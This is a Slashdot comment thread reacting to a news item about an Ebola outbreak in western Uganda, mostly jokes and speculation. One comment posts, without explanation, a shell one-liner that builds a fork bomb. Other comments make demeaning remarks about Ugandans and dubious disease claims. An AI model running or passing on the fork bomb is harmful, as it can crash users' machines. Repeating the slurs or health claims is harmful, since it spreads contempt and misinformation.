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Ebola Outbreak Kills 13 In Uganda
The BBC reports that an outbreak of the Ebola virus has killed 13 in Uganda, and infected seven more.
"The health ministry says emergency measures are in place to deal with the outbreak, which began in late June but has only just been confirmed as Ebola. The cases have been reported in Kibaale district, about 170km (100 miles) to the west of the capital Kampala. ... Ebola is one of the most virulent diseases in the world. It is spread by close personal contact, and kills up to 90% of those who become infected. There is no vaccine for the virus. Symptoms include sudden onset of fever, weakness, headache, vomiting and impaired kidneys. The first victim of this outbreak was a pregnant woman."
Is Madagascar shut down yet?
I don't come to slashdot for news I can get everywhere else.
This has nothing to do with tech nor nerds.
Soulskill, you need to rethink the job you are doing here, because you fucked up.
Be seeing you...
So I will not be visiting Uganda this year?
Everyone who posts below this comment is a big pussy.
Don't be a h8r.
Considering the close proximity between this story and the Monkey Brains story just after, I think I may have to stay away from Slashdot for a few days...
Thank God I bought that anti-virus HDMI cable or I'd really be sweating.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I guess the researcher for the article hasn't read this story:
http://www.bbc.co.uk/news/science-environment-16011748
Better safe than sorry. Resist the temptation.
If they've only got 20 people affected so far, it sounds fairly small compared to the last couple outbreaks. Hope they can establish good controls to keep it from spreading.
Village idiot in some extremely smart villages.
People wonder why Ebola never breaks out. The thing that makes it scary is the very thing that causes the burnout. Ebola hits fast and hard. You get sick in a matter of hours, a couple of days, instead of weeks. It also kills fast leaving a narrow window for transmission. It also isn't airborne making it harder than most think to transmit. Avoid touching fluids and you are probably safe. It's why Reston Marburg was so scary because it was airborne. Add in a longer incubation and period when it's communicable and you have a seriously scary disease. FYI Reston Marburg isn't fatal to humans, another lucky break. The point is we came that close so the odds of Ebola one day mutating and breaking out are extremely high. It's why it's so closely monitored. Ebola has the same potential as the Black Plague.
Did it have an AR-15, shotgun, and pistol? No? Boobytraps in the closet? No? Wolfe and company don't care, and neither do I.
which began in late June but has only just been confirmed as Ebola
Operative words being "just confirmed" - I'm sure doctors and researchers have known since July 1st that it was Ebola.
The problem is that the governments in these countries are terrified of not the threat of Ebola spreading, but of damage to commerce, particularly tourism - and will coerce researchers and doctors to not discuss or reveal outbreaks.
Please help metamoderate.
...on whether they did in fact hate Weird Al's ringtone...
They will deliberately infect themselves so that they can kill more people when they blow themselves up
Matters, even for nerds.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
> The first victim of this outbreak was a pregnant woman.
Fuck...Bane!
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
Shitheed will finally beat E'bo'Lah on the popular names stakes.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I thought it was supposed to be nuclear war, an asteroid impact, poles reversing in a matter of days or even an alien invasion.
But ebola? Talk about a lame way to destroy humanity.
Good thing I have all those symptoms for the last 2 days, lol. Luckily I'm in Wisconsin and everyone in the chain of people who caught it is still alive and has recovered and zinc seemed to have fended it off pretty well, but still :-P
You won't be saying that when you're bleeding out of all your orifices.
For someone to catch the disease, you are required to come into contact with other people. So unless you can catch it off a hot pockets wrapper, most of /. is safe for the time being.
HA! I just wasted some of your bandwidth with a frivolous sig!
proclaim progress on mortality rates due to starvation and childbirth. More than 100 women die during childbirth each week in Uganda. /mo cell phone plan. I can. Wait a minute! why do I blame Obama for this??? - go ahead and vote for him assholes. You are going to starve to death in south dakota while trying to dig oil out of the ground with your bare hands because that is the only job left. The rest of you lazy bastards will just die where you lay. Waiting for Obama to feed you everything he can steal from someone else. The American farmer is tired of your crap and is about to shut down the food supply. See how you like four more years of that shit.
I have never met anyone from Uganda. If I did, I would tell them to stop making babies. They can't feed them. Every time I think the U.S. is a f*d up place to live, I realize with 4 more years of Obama, things can get much much worse.
Can you picture fat Americans dying of starvation while they call for help with their $112
This is the plot of the Left for Dead game series.
The kill rate of Rabies, it's inability to be treated after significant symptoms arise, and its already widespread footprint scares me far more than any other disease currently known to exist.
Living in a developed country, you have virtually no chance of ever crossing paths with Ebola. I'd wager we all have seen a wild mammal lately.
I predict that I have a family member that died because of this virus, but luckily he left me 50.000.000 dollars.
Unfortunately he had only my e-mail address so this news will have to come to me by mail.
And I will get it several times... all with different senders and details.
And now we wait...
Next artical on the main page: Controlling Monkey Brains and Behavior With Light.
Can't they just make them all stay in Uganda?
you really need to fix that overpopulation. The thing is so horrible, it's the closest thing in reality to an actual apocalyptic zombie outbreak. Close personal contact, large crowded cities. I hardly dare think about it
Free speech was meant to be free for all... how can anyone grow up in a nanny state ?
Wonder if they can do something similar to rabies, where they induced a coma and drip feed anti-virus drugs into the infected person. Then wait and hope the person and the anti-viral drugs have enough strength to kill off the virus.
Sure enough, the cow costume was hanging up next to the superhero outfit and sailors uniform. (S,Spud)